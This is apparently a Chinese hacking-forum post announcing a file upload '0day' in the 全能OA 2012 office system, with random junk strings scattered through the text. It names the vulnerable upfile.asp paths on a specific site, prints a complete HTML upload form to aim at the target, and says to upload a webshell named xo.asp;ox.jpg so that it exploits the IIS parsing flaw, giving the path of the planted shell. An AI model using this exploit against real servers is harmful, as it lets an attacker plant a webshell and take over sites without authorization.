全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
. N4 }  [; I. L6 _* y7 e系统介绍：
& n6 Y) S& G' o$ b0 P' o" y1 |6 @
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

1 f' j- ]# p$ K主要功能：
: H$ Y! G# Z% B8 n9 [) @9 v1 w公司通告
工作计划
通讯助理
8 {/ e% X- t/ P1 C" {, m) o- x! N! k; d2 o客户资源
- n; m- w  J* g  S4 Q  @我的公文
% q6 `) f9 U- [% A6 ^公文传阅
/ Y( U' r3 t' P& t  m* T公共资源
+ q- V5 U; h; v资源预约
2 J7 ^% P! E$ z! L# b* w今日考勤
/ E( T4 ~4 I  k% A个人计划
个人通讯录
个人基本档案
未读邮件
发邮件
1 ^" e& M5 f! ]0 }收件夹
寄件夹
网络硬盘
# d$ q' i/ L2 T1 k1 R0 Q网络会议
/ R! \% _6 w  x/ f# |网络调查
7 r8 {9 x+ w9 C, G交流论坛

$ f; z  @8 {2 \有兴趣测试的朋友可以下源码看看

5 {$ V6 @* {5 X' q1 Z, S9 b4 `源码下载：
  K9 J  R( `* z9 q% V8 O
http://www.mycodes.net/30/4750.htm

: ?  v$ ], E# X2 y: G( x漏洞介绍：

, @7 H4 ^! y$ z0 i* d8 k0 b4 J% Q由upfile.asp上传文件漏洞引起
, p; ?& [; D! Y! m
2 {" V9 _; ^* D5 s( m& n测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可
) B0 |' v3 N4 m3 x7 S/ r, N. k6 K
/ }8 e: G% \0 O/ G0 J如果upfile.asp文件被删除不存在。
, d" K) e9 V9 L: ?
' A; v3 C  d. [! x' r1 u  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
; q, ]. V9 B9 t8 ~: \
如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
% F  N$ ]: W2 @$ Y3 p9 D- w
0 }( h$ b# G% ^( }! Y1 L! r; `

- o+ d1 [5 |5 U6 G% N01 <table border='0' align="center" cellpadding="5">
* C' m" x9 r( y8 m
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
( r9 V+ v. W: Z2 R* o5 N8 U# l
03 <tr>
. B, P- S) ]3 J3 M
04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>

9 j+ b' ^3 [" b* D6 p08               报错方式

: f  ?3 v% Z0 F* V9 h+ o1 A6 y09               <input type='radio' name='errnumber' value='2'>
8 `5 w& I  [; v
  s) R, K9 ^/ r: V4 S& `+ X' s2 `10               直接覆盖</td>
  U% E. f# i& Q8 I' ]
11           </tr>

12           <tr>

& F* W9 M! ^: V  m13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>
1 s/ ]' m! n) c) ?$ O' g+ v
9 \( ^: E& R8 F: ^15           </tr>
" T2 F5 k, W6 \+ s
* r) [* F1 r5 L# g7 c7 Q4 v# L' L16           <tr>
  a5 V" W; y% o- M; y2 K, ~9 h
/ R. X2 @& m7 `8 f" L17             <td>文件：</td>

4 e* V2 j- g& Z3 [" \& V# v18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
; a, }3 [* r6 F! f+ \2 t) R6 y
20           <tr>
# \& Q9 `2 \1 X1 K' t8 s. o
6 P2 Q/ K: o* i6 p3 a# V9 z& t21             <td valign='top'>简介：</td>

! l4 n: v1 \( `7 X4 X. g1 c( P2 z! P22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

' E! w* R" |# r) |& _2 S" n, o+ M23           </tr>
. f1 Q/ K# K1 B: t
3 D/ L# `, v, F6 S5 ?' {4 Y( S: I# X6 s3 c24   

0 ]: M: Y& X9 E8 v, l3 c6 h25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
$ c3 ~! j4 ^( z& |1 A
  Y7 ^" @* v. ^26           </tr>
: Y8 A/ V# o4 o
# F, t  G4 j& {; E- z27         </form>
: C4 W( N: j7 X" ^" E! ?4 g
然后打开上传一个文件名为xo.asp;ox.jpg的文件。

7 H7 ^- p. x4 K' B2 p8 E/ A1 T/ A

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
* k- g! ~5 }" _
此漏洞需要配合解析漏洞利用。
4 {6 J( ]9 U/ [- F7 n
4 A/ ^/ b0 ^$ a) w0 p6 [" ~- K